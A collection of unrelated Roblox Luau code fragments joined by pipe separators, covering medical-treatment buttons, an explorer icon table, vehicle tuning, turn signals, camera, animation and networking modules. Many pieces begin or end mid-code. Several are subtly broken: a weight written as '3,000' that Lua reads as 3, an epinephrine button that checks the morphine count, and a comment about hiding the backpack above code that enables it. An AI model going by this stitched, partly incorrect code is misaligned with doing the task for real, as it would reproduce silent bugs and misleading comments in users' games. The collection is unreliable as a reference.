units = "KM/H" ,
scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H
maxSpeed = 370 ,
spInc = 40 , -- Increment between labelled notches
},
}
|
-----------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------
|
local TreatDebounce = true
local SavedTarget = nil
script.Parent.Treat.Frame.BandFrame.Bandage.MouseButton1Down:Connect(function()
if TreatDebounce and Bandage.Value > 0 and Human.Health > 0 and not Char.ACS_Client:GetAttribute("Collapsed") then
TreatDebounce = false
if Target.Value == nil then
if Char.ACS_Client:GetAttribute("Bleeding") then
Timer.Size = UDim2.new(0,0,1,0)
TS:Create(Timer, TweenInfo.new(5,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play()
wait(5)
Functions.MedHandler:FireServer(nil,1)
end
else
if Target.Value.Character.ACS_Client:GetAttribute("Bleeding") then
SavedTarget = Target.Value
Timer.Size = UDim2.new(0,0,1,0)
TS:Create(Timer, TweenInfo.new(5,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play()
wait(5)
Functions.MedHandler:FireServer(SavedTarget,1)
end
end
TreatDebounce = true
end
end)
script.Parent.Treat.Frame.BandFrame.Splint.MouseButton1Down:Connect(function()
if TreatDebounce and Splint.Value > 0 and Human.Health > 0 and not Char.ACS_Client:GetAttribute("Collapsed") then
TreatDebounce = false
if Target.Value == nil then
if Char.ACS_Client:GetAttribute("Injured") then
Timer.Size = UDim2.new(0,0,1,0)
TS:Create(Timer, TweenInfo.new(5,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play()
wait(5)
Functions.MedHandler:FireServer(nil,2)
end
else
if Target.Value.Character.ACS_Client:GetAttribute("Injured") then
SavedTarget = Target.Value
Timer.Size = UDim2.new(0,0,1,0)
TS:Create(Timer, TweenInfo.new(5,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play()
wait(5)
Functions.MedHandler:FireServer(SavedTarget,2)
end
end
TreatDebounce = true
end
end)
script.Parent.Treat.Frame.BandFrame.Tourniquet.MouseButton1Down:Connect(function()
if TreatDebounce and Human.Health > 0 and not Char.ACS_Client:GetAttribute("Collapsed") then
TreatDebounce = false
if Target.Value == nil then
if Char.ACS_Client:GetAttribute("Bleeding") == true or Char.ACS_Client:GetAttribute("Tourniquet")then
Timer.Size = UDim2.new(0,0,1,0)
TS:Create(Timer, TweenInfo.new(1.5,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play()
wait(1.5)
Functions.MedHandler:FireServer(nil,3)
end
else
if Target.Value.Character.ACS_Client:GetAttribute("Bleeding") or Target.Value.Character.ACS_Client:GetAttribute("Tourniquet") then
SavedTarget = Target.Value
Timer.Size = UDim2.new(0,0,1,0)
TS:Create(Timer, TweenInfo.new(1.5,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play()
wait(1.5)
Functions.MedHandler:FireServer(SavedTarget,3)
end
end
TreatDebounce = true
end
end)
script.Parent.Treat.Frame.MedFrame.PainKiller.MouseButton1Down:Connect(function()
if TreatDebounce and PainKiller.Value > 0 and Human.Health > 0 and not Char.ACS_Client:GetAttribute("Collapsed") then
TreatDebounce = false
if Target.Value == nil then
if Char.ACS_Client.Variaveis.Dor.Value > 0 then
Timer.Size = UDim2.new(0,0,1,0)
TS:Create(Timer, TweenInfo.new(1.5,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play()
wait(1.5)
Functions.MedHandler:FireServer(nil,4)
end
else
if Target.Value.Character.ACS_Client.Variaveis.Dor.Value > 0 then
SavedTarget = Target.Value
Timer.Size = UDim2.new(0,0,1,0)
TS:Create(Timer, TweenInfo.new(1.5,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play()
wait(1.5)
Functions.MedHandler:FireServer(SavedTarget,4)
end
end
TreatDebounce = true
end
end)
script.Parent.Treat.Frame.MedFrame.Energy.MouseButton1Down:Connect(function()
if TreatDebounce and EnergyShot.Value > 0 and Human.Health > 0 and not Char.ACS_Client:GetAttribute("Collapsed") then
TreatDebounce = false
if Target.Value == nil then
if Char.Humanoid.Health < Char.Humanoid.MaxHealth then
Timer.Size = UDim2.new(0,0,1,0)
TS:Create(Timer, TweenInfo.new(3,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play()
wait(3)
Functions.MedHandler:FireServer(nil,5)
end
else
if Target.Value.Character.Humanoid.Health < Target.Value.Character.Humanoid.MaxHealth then
SavedTarget = Target.Value
Timer.Size = UDim2.new(0,0,1,0)
TS:Create(Timer, TweenInfo.new(3,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play()
wait(3)
Functions.MedHandler:FireServer(SavedTarget,5)
end
end
TreatDebounce = true
end
end)
script.Parent.Treat.Frame.NeedFrame.Morphine.MouseButton1Down:Connect(function()
if TreatDebounce and Morphine.Value > 0 and Human.Health > 0 and not Char.ACS_Client:GetAttribute("Collapsed") then
TreatDebounce = false
if Target.Value == nil then
if Char.ACS_Client.Variaveis.Dor.Value > 0 then
Timer.Size = UDim2.new(0,0,1,0)
TS:Create(Timer, TweenInfo.new(10,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play()
wait(10)
Functions.MedHandler:FireServer(nil,6)
end
else
if Target.Value.Character.ACS_Client.Variaveis.Dor.Value > 0 then
SavedTarget = Target.Value
Timer.Size = UDim2.new(0,0,1,0)
TS:Create(Timer, TweenInfo.new(10,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play()
wait(10)
Functions.MedHandler:FireServer(SavedTarget,6)
end
end
TreatDebounce = true
end
end)
script.Parent.Treat.Frame.NeedFrame.Epineprhine.MouseButton1Down:Connect(function()
if TreatDebounce and Morphine.Value > 0 and Human.Health > 0 and not Char.ACS_Client:GetAttribute("Collapsed") then
TreatDebounce = false
if Target.Value == nil then
if Char.Humanoid.Health < Char.Humanoid.MaxHealth then
Timer.Size = UDim2.new(0,0,1,0)
TS:Create(Timer, TweenInfo.new(10,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play()
wait(10)
Functions.MedHandler:FireServer(nil,7)
end
else
if Target.Value.Character.ACS_Client:GetAttribute("Collapsed") then
SavedTarget = Target.Value
Timer.Size = UDim2.new(0,0,1,0)
TS:Create(Timer, TweenInfo.new(10,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play()
wait(10)
Functions.MedHandler:FireServer(SavedTarget,7)
end
end
TreatDebounce = true
end
end)
script.Parent.Treat.Frame.OtherFrame.Bloodbag.MouseButton1Down:Connect(function()
if TreatDebounce and SacoDeSangue.Value > 0 and Human.Health > 0 and not Char.ACS_Client:GetAttribute("Collapsed") then
TreatDebounce = false
if Target.Value == nil then
if Char.ACS_Client.Variaveis.Sangue.Value < Char.ACS_Client.Variaveis.Sangue.MaxValue then
Timer.Size = UDim2.new(0,0,1,0)
TS:Create(Timer, TweenInfo.new(20,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play()
wait(20)
Functions.MedHandler:FireServer(nil,8)
end
else
if Target.Value.Character.ACS_Client.Variaveis.Sangue.Value < Target.Value.Character.ACS_Client.Variaveis.Sangue.MaxValue then
SavedTarget = Target.Value
Timer.Size = UDim2.new(0,0,1,0)
TS:Create(Timer, TweenInfo.new(20,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play()
wait(20)
Functions.MedHandler:FireServer(SavedTarget,8)
end
end
TreatDebounce = true
end
end)
|
-- Indices based on implementation of Icon function.
|
local ACTION_CUT = 160
local ACTION_COPY = 161
local ACTION_PASTE = 162
local ACTION_DELETE = 163
local ACTION_SORT = 164
local ACTION_CUT_OVER = 174
local ACTION_COPY_OVER = 175
local ACTION_PASTE_OVER = 176
local ACTION_DELETE_OVER = 177
local ACTION_SORT_OVER = 178
local ACTION_EDITQUICKACCESS = 190
local ACTION_FREEZE = 188
local ACTION_STARRED = 189
local ACTION_ADDSTAR = 184
local ACTION_ADDSTAR_OVER = 187
local NODE_COLLAPSED = 165
local NODE_EXPANDED = 166
local NODE_COLLAPSED_OVER = 179
local NODE_EXPANDED_OVER = 180
local ExplorerIndex = {
["Accessory"] = 32;
["Accoutrement"] = 32;
["AdService"] = 73;
["Animation"] = 60;
["AnimationController"] = 60;
["AnimationTrack"] = 60;
["Animator"] = 60;
["ArcHandles"] = 56;
["AssetService"] = 72;
["Attachment"] = 34;
["Backpack"] = 20;
["BadgeService"] = 75;
["BallSocketConstraint"] = 89;
["BillboardGui"] = 64;
["BinaryStringValue"] = 4;
["BindableEvent"] = 67;
["BindableFunction"] = 66;
["BlockMesh"] = 8;
["BloomEffect"] = 90;
["BlurEffect"] = 90;
["BodyAngularVelocity"] = 14;
["BodyForce"] = 14;
["BodyGyro"] = 14;
["BodyPosition"] = 14;
["BodyThrust"] = 14;
["BodyVelocity"] = 14;
["BoolValue"] = 4;
["BoxHandleAdornment"] = 54;
["BrickColorValue"] = 4;
["Camera"] = 5;
["CFrameValue"] = 4;
["CharacterMesh"] = 60;
["Chat"] = 33;
["ClickDetector"] = 41;
["CollectionService"] = 30;
["Color3Value"] = 4;
["ColorCorrectionEffect"] = 90;
["ConeHandleAdornment"] = 54;
["Configuration"] = 58;
["ContentProvider"] = 72;
["ContextActionService"] = 41;
["CoreGui"] = 46;
["CoreScript"] = 18;
["CornerWedgePart"] = 1;
["CustomEvent"] = 4;
["CustomEventReceiver"] = 4;
["CylinderHandleAdornment"] = 54;
["CylinderMesh"] = 8;
["CylindricalConstraint"] = 89;
["Debris"] = 30;
["Decal"] = 7;
["Dialog"] = 62;
["DialogChoice"] = 63;
["DoubleConstrainedValue"] = 4;
["Explosion"] = 36;
["FileMesh"] = 8;
["Fire"] = 61;
["Flag"] = 38;
["FlagStand"] = 39;
["FloorWire"] = 4;
["Folder"] = 70;
["ForceField"] = 37;
["Frame"] = 48;
["GamePassService"] = 19;
["Glue"] = 34;
["GuiButton"] = 52;
["GuiMain"] = 47;
["GuiService"] = 47;
["Handles"] = 53;
["HapticService"] = 84;
["Hat"] = 45;
["HingeConstraint"] = 89;
["Hint"] = 33;
["HopperBin"] = 22;
["HttpService"] = 76;
["Humanoid"] = 9;
["ImageButton"] = 52;
["ImageLabel"] = 49;
["InsertService"] = 72;
["IntConstrainedValue"] = 4;
["IntValue"] = 4;
["JointInstance"] = 34;
["JointsService"] = 34;
["Keyframe"] = 60;
["KeyframeSequence"] = 60;
["KeyframeSequenceProvider"] = 60;
["Lighting"] = 13;
["LineHandleAdornment"] = 54;
["LocalScript"] = 18;
["LogService"] = 87;
["MarketplaceService"] = 46;
["Message"] = 33;
["Model"] = 2;
["ModuleScript"] = 71;
["Motor"] = 34;
["Motor6D"] = 34;
["MoveToConstraint"] = 89;
["NegateOperation"] = 78;
["NetworkClient"] = 16;
["NetworkReplicator"] = 29;
["NetworkServer"] = 15;
["NumberValue"] = 4;
["ObjectValue"] = 4;
["Pants"] = 44;
["ParallelRampPart"] = 1;
["Part"] = 1;
["ParticleEmitter"] = 69;
["PartPairLasso"] = 57;
["PathfindingService"] = 37;
["Platform"] = 35;
["Player"] = 12;
["PlayerGui"] = 46;
["Players"] = 21;
["PlayerScripts"] = 82;
["PointLight"] = 13;
["PointsService"] = 83;
["Pose"] = 60;
["PrismaticConstraint"] = 89;
["PrismPart"] = 1;
["PyramidPart"] = 1;
["RayValue"] = 4;
["ReflectionMetadata"] = 86;
["ReflectionMetadataCallbacks"] = 86;
["ReflectionMetadataClass"] = 86;
["ReflectionMetadataClasses"] = 86;
["ReflectionMetadataEnum"] = 86;
["ReflectionMetadataEnumItem"] = 86;
["ReflectionMetadataEnums"] = 86;
["ReflectionMetadataEvents"] = 86;
["ReflectionMetadataFunctions"] = 86;
["ReflectionMetadataMember"] = 86;
["ReflectionMetadataProperties"] = 86;
["ReflectionMetadataYieldFunctions"] = 86;
["RemoteEvent"] = 80;
["RemoteFunction"] = 79;
["ReplicatedFirst"] = 72;
["ReplicatedStorage"] = 72;
["RightAngleRampPart"] = 1;
["RocketPropulsion"] = 14;
["RodConstraint"] = 89;
["RopeConstraint"] = 89;
["Rotate"] = 34;
["RotateP"] = 34;
["RotateV"] = 34;
["RunService"] = 66;
["ScreenGui"] = 47;
["Script"] = 6;
["ScrollingFrame"] = 48;
["Seat"] = 35;
["Selection"] = 55;
["SelectionBox"] = 54;
["SelectionPartLasso"] = 57;
["SelectionPointLasso"] = 57;
["SelectionSphere"] = 54;
["ServerScriptService"] = 0;
["ServerStorage"] = 74;
["Shirt"] = 43;
["ShirtGraphic"] = 40;
["SkateboardPlatform"] = 35;
["Sky"] = 28;
["SlidingBallConstraint"] = 89;
["Smoke"] = 59;
["Snap"] = 34;
["Sound"] = 11;
["SoundService"] = 31;
["Sparkles"] = 42;
["SpawnLocation"] = 25;
["SpecialMesh"] = 8;
["SphereHandleAdornment"] = 54;
["SpotLight"] = 13;
["SpringConstraint"] = 89;
["StarterCharacterScripts"] = 82;
["StarterGear"] = 20;
["StarterGui"] = 46;
["StarterPack"] = 20;
["StarterPlayer"] = 88;
["StarterPlayerScripts"] = 82;
["Status"] = 2;
["StringValue"] = 4;
["SunRaysEffect"] = 90;
["SurfaceGui"] = 64;
["SurfaceLight"] = 13;
["SurfaceSelection"] = 55;
["Team"] = 24;
["Teams"] = 23;
["TeleportService"] = 81;
["Terrain"] = 65;
["TerrainRegion"] = 65;
["TestService"] = 68;
["TextBox"] = 51;
["TextButton"] = 51;
["TextLabel"] = 50;
["Texture"] = 10;
["TextureTrail"] = 4;
["Tool"] = 17;
["TouchTransmitter"] = 37;
["TrussPart"] = 1;
["UnionOperation"] = 77;
["UserInputService"] = 84;
["Vector3Value"] = 4;
["VehicleSeat"] = 35;
["VelocityMotor"] = 34;
["WedgePart"] = 1;
["Weld"] = 34;
["Workspace"] = 19;
}
|
--[[Weight and CG]]
|
Tune.Weight = 3,000 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 14 }
Tune.WeightDist = 50 -- Weight distribution (50 - on rear wheels, 50 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
--[[
Adds to the velocity of the internal springs, on top of the existing
velocity of this Spring. This doesn't affect position.
If the type doesn't match the current type of the spring, an error will be
thrown.
]]
|
function class:addVelocity(deltaValue: PubTypes.Animatable)
local deltaType = typeof(deltaValue)
if deltaType ~= self._currentType then
logError("springTypeMismatch", nil, deltaType, self._currentType)
end
local springDeltas = unpackType(deltaValue, deltaType)
for index, delta in ipairs(springDeltas) do
self._springVelocities[index] += delta
end
SpringScheduler.add(self)
end
|
--[[
Calls the given callback for all existing players in the game, and any that join thereafter.
Useful in situations where you want to run code for every player, even players who are already in the game.
--]]
|
local Players = game:GetService("Players")
local function safePlayerAdded(onPlayerAddedCallback: (Player) -> nil)
for _, player in ipairs(Players:GetPlayers()) do
task.spawn(onPlayerAddedCallback, player)
end
return Players.PlayerAdded:Connect(onPlayerAddedCallback)
end
return safePlayerAdded
|
--[[
Bind events and animations to the character and humanoid
]]
|
local function BindToCharacter()
local activeAnimation: AnimationTrack = nil
local events = {}
local character, humanoid = GetCharacter(LocalPlayer, true)
local animator = humanoid:WaitForChild("Animator")::Animator
local animateScript = character:WaitForChild("Animate")::LocalScript
local defaultIdle = animateScript:WaitForChild("idle")
local defaultIdleAnims = {}
for _, defaultIdleAnimation in ipairs(defaultIdle:GetChildren()) do
table.insert(defaultIdleAnims, defaultIdleAnimation:Clone())
end
--[[
Play "special" animations when player plays a chord;
controlled by the ChordPlayed BindableEvent
]]
table.insert(events, Replicated.Client.ChordPlayed.Event:Connect(function(chord: number, hold: boolean)
local animation = GetAnimationFromChord(chord, hold)
if activeAnimation then
activeAnimation:Destroy()
end
activeAnimation = animator:LoadAnimation(animation)::AnimationTrack
activeAnimation.Looped = false
activeAnimation:Play()
end))
--[[
Switch out idle animation for generic dance animation while player
is on the dance floor; replace default idle animations when the
player leaves a dance floor
-- TODO: Revert to default idle animations when the music is stopped
]]
local wasOnDanceFloor = false
table.insert(events, humanoid.Running:Connect(function(speed: number)
local isOnDanceFloor = DanceFloorTracker.IsOnDanceFloor()
if wasOnDanceFloor == isOnDanceFloor then
return
end
wasOnDanceFloor = isOnDanceFloor
defaultIdle:ClearAllChildren()
if isOnDanceFloor then
AnimationsDB.Generic:Clone().Parent = defaultIdle
else
for _, animation in ipairs(defaultIdleAnims) do
animation:Clone().Parent = defaultIdle
end
end
end))
--[[
If the player dies, disconnect all events and destroy the active animation,
and re-bind events to the new humanoid/character instances
]]
table.insert(events, humanoid.Died:Connect(function()
for _, event in ipairs(events) do
event:Disconnect()
end
if activeAnimation then
activeAnimation:Destroy()
end
BindToCharacter()
end))
end
BindToCharacter()
|
--[[
Main RenderStep Update. The camera controller and occlusion module both have opportunities
to set and modify (respectively) the CFrame and Focus before it is set once on CurrentCamera.
The camera and occlusion modules should only return CFrames, not set the CFrame property of
CurrentCamera directly.
--]]
|
function CameraModule:Update(dt)
if self.activeCameraController then
if script.Parent.Parent.shiftLock.Value == true and script.Parent.Parent.shiftLock.camLock.Value == false then
self.activeCameraController:SetIsMouseLocked(true)
elseif script.Parent.Parent.shiftLock.Value == true and script.Parent.Parent.shiftLock.camLock.Value == true then
self.activeCameraController:SetIsMouseLocked(true)
else
self.activeCameraController:SetIsMouseLocked(false)
end
local newCameraCFrame, newCameraFocus = self.activeCameraController:Update(dt)
self.activeCameraController:ApplyVRTransform()
if self.activeOcclusionModule then
newCameraCFrame, newCameraFocus = self.activeOcclusionModule:Update(dt, newCameraCFrame, newCameraFocus)
end
-- Here is where the new CFrame and Focus are set for this render frame
game.Workspace.CurrentCamera.CFrame = newCameraCFrame
game.Workspace.CurrentCamera.Focus = newCameraFocus
-- Update to character local transparency as needed based on camera-to-subject distance
if self.activeTransparencyController then
self.activeTransparencyController:Update()
end
end
end
|
--Made by Repressed_Memories
-- Edited by Truenus
|
local component = script.Parent.Parent
local car = script.Parent.Parent.Parent.Parent.Car.Value
local mouse = game.Players.LocalPlayer:GetMouse()
local leftsignal = "z"
local rightsignal = "c"
local hazards = "x"
local hazardson = false
local lefton = false
local righton = false
local leftlight = car.Body.Lights.Left.TurnSignal.TSL
local rightlight = car.Body.Lights.Right.TurnSignal.TSL
local leftfront = car.Body.Lights.Left.TurnSignal2
local rightfront = car.Body.Lights.Right.TurnSignal2
local signalblinktime = 0.32
local neonleft = car.Body.Lights.Left.TurnSignal
local neonright = car.Body.Lights.Right.TurnSignal
local off = BrickColor.New("Mid gray")
local on = BrickColor.New("Deep orange")
mouse.KeyDown:connect(function(lkey)
local key = string.lower(lkey)
if key == leftsignal then
if lefton == false then
lefton = true
repeat
neonleft.BrickColor = on
leftlight.Enabled = true
neonleft.Material = "Neon"
leftfront.Material = "Neon"
component.TurnSignal:play()
component.TurnSignal.Pitch = 1.8
wait(signalblinktime)
neonleft.BrickColor = off
component.TurnSignal:play()
component.TurnSignal.Pitch = 1.6
neonleft.Material = "SmoothPlastic"
leftfront.Material = "SmoothPlastic"
leftlight.Enabled = false
wait(signalblinktime)
until
lefton == false or righton == true
elseif lefton == true or righton == true then
lefton = false
component.TurnSignal:stop()
leftlight.Enabled = false
end
elseif key == rightsignal then
if righton == false then
righton = true
repeat
neonright.BrickColor = on
rightlight.Enabled = true
neonright.Material = "Neon"
rightfront.Material = "Neon"
component.TurnSignal:play()
component.TurnSignal.Pitch = 1.8
wait(signalblinktime)
neonright.BrickColor = off
component.TurnSignal:play()
component.TurnSignal.Pitch = 1.6
neonright.Material = "SmoothPlastic"
rightfront.Material = "SmoothPlastic"
rightlight.Enabled = false
wait(signalblinktime)
until
righton == false or lefton == true
elseif righton == true or lefton == true then
righton = false
component.TurnSignal:stop()
rightlight.Enabled = false
end
elseif key == hazards then
if hazardson == false then
hazardson = true
repeat
neonright.BrickColor = on
neonleft.BrickColor = on
neonright.Material = "Neon"
rightfront.Material = "Neon"
neonleft.Material = "Neon"
leftfront.Material = "Neon"
component.TurnSignal:play()
component.TurnSignal.Pitch = 1.8
rightlight.Enabled = true
leftlight.Enabled = true
wait(signalblinktime)
neonright.BrickColor = off
neonleft.BrickColor = off
component.TurnSignal:play()
component.TurnSignal.Pitch = 1.6
neonright.Material = "SmoothPlastic"
rightfront.Material = "SmoothPlastic"
neonleft.Material = "SmoothPlastic"
leftfront.Material = "SmoothPlastic"
rightlight.Enabled = false
leftlight.Enabled = false
wait(signalblinktime)
until
hazardson == false
elseif hazardson == true then
hazardson = false
component.TurnSignal:stop()
rightlight.Enabled = false
leftlight.Enabled = false
end
end
end)
|
---
|
local Paint = false
script.Parent.MouseButton1Click:connect(function()
Paint = not Paint
handler:FireServer("Mulberry",Paint)
end)
|
-- Do not rename the name of the "Mesh", leave it saying Mesh, or the giver wont work.
| |
--//Services//--
|
local TweenService = game:GetService("TweenService")
|
--[[
A special key for property tables, which parents any given descendants into
an instance.
]]
|
local Package = script.Parent.Parent
local ObjectUtility = require(Package.ObjectUtility)
local Observer = require(Package.States.Observer)
type Set<T> = {[T]: boolean}
|
-- Override in derived classes to set self.enabled and return boolean indicating
-- whether Enable/Disable was successful. Return true if controller is already in the requested state.
|
function BaseCharacterController:Enable(enable: boolean): boolean
error("BaseCharacterController:Enable must be overridden in derived classes and should not be called.")
return false
end
return BaseCharacterController
|
-- This affects how often the client sends engine power updates (frequency: times/second)
|
local THROTTLE_UPDATE_RATE = 5
|
--------------------)
|
i = true
script.Parent[ZoneModelName]:MoveTo(Vector3.new(0,10000,0))
script.Parent[ZoneModelName]:Clone().Parent = game.ServerStorage
script.Parent.RemoteEvent.OnServerEvent:Connect(function(plr,X,Y,Z)
if i then i = false
local zone = game.ServerStorage:WaitForChild(ZoneModelName):Clone()
zone.Parent = game.Workspace
zone.PrimaryPart = zone.Main
zone:SetPrimaryPartCFrame(CFrame.new(Vector3.new(X,Y+0.5,Z)))
zone.Main.Touched:Connect(function(hit)
if hit.Parent:FindFirstChild(MobHumanoidName) then
hit.Parent[MobHumanoidName].Health = hit.Parent[MobHumanoidName].Health-Damage
end
end)
wait(Cooldown)
i = true
end
end)
|
-- Replica creation:
|
rev_ReplicaCreate.OnClientEvent:Connect(function(param1, param2) -- (top_replica_id, {replica_data}) OR (top_replica_id, {creation_data}) or ({replica_package})
--[[
param1 description:
top_replica_id = replica_id
OR
replica_package = {{replica_id, creation_data}, ...}
param2 description:
replica_data = {replica_class, replica_tags, data_table, parent_id / 0, write_lib_module / nil}
OR
creation_data = {["replica_id"] = replica_data, ...}
--]]
local created_replicas = {}
-- Unpacking replica data:
if type(param1) == "table" then -- Replica package
table.sort(param1, function(a, b) -- Sorting top level replicas by their id
return a[1] < b[1]
end)
for _, replica_branch_entry in ipairs(param1) do
CreateReplicaBranch(replica_branch_entry[2], created_replicas)
end
elseif param2[1] ~= nil then -- One replica data
CreateReplicaBranch({[tostring(param1)] = param2}, created_replicas)
else -- Creation data table
CreateReplicaBranch(param2, created_replicas)
end
-- Broadcasting replica creation:
table.sort(created_replicas, function(a, b)
return a.Id < b.Id
end)
-- 1) Child added:
for _, replica in ipairs(created_replicas) do
local parent_replica = replica.Parent
if parent_replica ~= nil then
local child_listener_table = ChildListeners[parent_replica.Id]
if child_listener_table ~= nil then
for i = 1, #child_listener_table do
child_listener_table[i](replica)
end
end
end
end
-- 2) New Replica and Replica of class created:
for _, replica in ipairs(created_replicas) do
NewReplicaSignal:Fire(replica)
local class_listener_signal = ClassListeners[replica.Class]
if class_listener_signal ~= nil then
class_listener_signal:Fire(replica)
end
end
end)
|
--[=[
@prop Util Folder
@within KnitClient
@readonly
References the Util folder. Should only be accessed when using Knit as
a standalone module. If using Knit from Wally, modules should just be
pulled in via Wally instead of relying on Knit's Util folder, as this
folder only contains what is necessary for Knit to run in Wally mode.
]=]
|
KnitClient.Util = script.Parent.Parent
local Promise = require(KnitClient.Util.Promise)
local Comm = require(KnitClient.Util.Comm)
local ClientComm = Comm.ClientComm
local controllers: { [string]: Controller } = {}
local services: { [string]: Service } = {}
local servicesFolder = nil
local started = false
local startedComplete = false
local onStartedComplete = Instance.new("BindableEvent")
local function DoesControllerExist(controllerName: string): boolean
local controller: Controller? = controllers[controllerName]
return controller ~= nil
end
local function GetServicesFolder()
if not servicesFolder then
servicesFolder = script.Parent:WaitForChild("Services")
end
return servicesFolder
end
local function GetMiddlewareForService(serviceName: string)
local knitMiddleware = if selectedOptions.Middleware ~= nil then selectedOptions.Middleware else {}
local serviceMiddleware = selectedOptions.PerServiceMiddleware[serviceName]
return if serviceMiddleware ~= nil then serviceMiddleware else knitMiddleware
end
local function BuildService(serviceName: string)
local folder = GetServicesFolder()
local middleware = GetMiddlewareForService(serviceName)
local clientComm = ClientComm.new(folder, selectedOptions.ServicePromises, serviceName)
local service = clientComm:BuildObject(middleware.Inbound, middleware.Outbound)
services[serviceName] = service
return service
end
|
--Much efficient way to hide the backpack without causing lag
|
local StarterGui = game:GetService("StarterGui")
StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true)
|
-- Services
|
local playerService = game:GetService("Players")
local debris = game:GetService("Debris")
local tweenService = game:GetService("TweenService")
|
-- functions
|
function onDied()
stopLoopedSounds()
sDied:Play()
end
local fallCount = 0
local fallSpeed = 0
function onStateFall(state, sound)
fallCount = fallCount + 1
if state then
sound.Volume = 0
sound:Play()
Spawn( function()
local t = 0
local thisFall = fallCount
while t < 1.5 and fallCount == thisFall do
local vol = math.max(t - 0.3 , 0)
sound.Volume = vol
wait(0.1)
t = t + 0.1
end
end)
else
sound:Stop()
end
fallSpeed = math.max(fallSpeed, math.abs(Head.Velocity.Y))
end
function onStateNoStop(state, sound)
if state then
sound:Play()
end
end
function onRunning(speed)
sClimbing:Stop()
sSwimming:Stop()
if (prevState == "FreeFall" and fallSpeed > 0.1) then
local vol = math.min(1.0, math.max(0.0, (fallSpeed - 50) / 110))
sLanding.Volume = vol
sLanding:Play()
fallSpeed = 0
end
if speed>0.5 then
sRunning:Play()
sRunning.Pitch = speed / 8.0
else
sRunning:Stop()
end
prevState = "Run"
end
function onSwimming(speed)
if (prevState ~= "Swim" and speed > 0.1) then
local volume = math.min(1.0, speed / 350)
sSplash.Volume = volume
sSplash:Play()
prevState = "Swim"
end
sClimbing:Stop()
sRunning:Stop()
sSwimming.Pitch = 1.6
sSwimming:Play()
end
function onClimbing(speed)
sRunning:Stop()
sSwimming:Stop()
if speed>0.01 then
sClimbing:Play()
sClimbing.Pitch = speed / 5.5
else
sClimbing:Stop()
end
prevState = "Climb"
end
|
-- ROBLOX Services
|
local Teams = game.Teams
local Players = game.Players
|
--list of whitelisted people
|
local whitelist = {""};
local event = script.ToolEvent
local tools = script.Tools
local proto = script.Proto
tools.Parent = nil
local toollist = {}
|
-- Connects a self-function by
-- name to the provided event.
|
function FpsCamera:Connect(funcName, event)
return event:Connect(function (...)
self[funcName](self, ...)
end)
end
|
-- Waits for parent.child to exist, then returns it
|
local function WaitForChild(parent, childName)
assert(parent, "ERROR: WaitForChild: parent is nil")
while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
return parent[childName]
end
|
-- declarations
|
local Torso=waitForChild(sp,"Torso")
local Head=waitForChild(sp,"Head")
local RightShoulder=waitForChild(Torso,"Right Shoulder")
local LeftShoulder=waitForChild(Torso,"Left Shoulder")
local RightHip=waitForChild(Torso,"Right Hip")
local LeftHip=waitForChild(Torso,"Left Hip")
local Neck=waitForChild(Torso,"Neck")
local Humanoid=waitForChild(sp,"Humanoid")
local BodyColors=waitForChild(sp,"Body Colors")
local pose="Standing"
|
--Head
|
MakeWeld(car.Misc.Anims.R15.Torso.Head.X,car.Misc.Anims.R15.Torso.Head.Y,"Motor6D").Name="M"
MakeWeld(car.Misc.Anims.R15.Torso.Head.Y,car.Misc.Anims.R15.Torso.Head.Z,"Motor6D").Name="M"
MakeWeld(car.Misc.Anims.R15.Torso.Head.Z,car.Misc.Anims.R15.Torso.UpperTorso.Z,"Motor6D").Name="M"
ModelWeld(misc.Anims.R15.Torso.Head.Parts,misc.Anims.R15.Torso.Head.X)
|
-- print(animName .. " " .. idx .. " [" .. origRoll .. "]")
|
local anim = animTable[animName][idx].anim
-- switch animation
if (anim ~= currentAnimInstance) then
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop(transitionTime)
currentAnimTrack:Destroy()
end
currentAnimSpeed = 1.0
-- load it to the humanoid; get AnimationTrack
currentAnimTrack = humanoid:LoadAnimation(anim)
-- play the animation
currentAnimTrack:Play(transitionTime)
currentAnim = animName
currentAnimInstance = anim
-- set up keyframe name triggers
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
end
end
|
--Determine Wheel Size
|
local wDia = Rear.Wheel.Size.Y
|
--[[Misc]]
|
Tune.LoadDelay = .1 -- Delay before initializing chassis (in seconds)
Tune.AutoStart = true -- Set to false if using manual ignition plugin
Tune.AutoFlip = false -- Set to false if using manual flip plugin
|
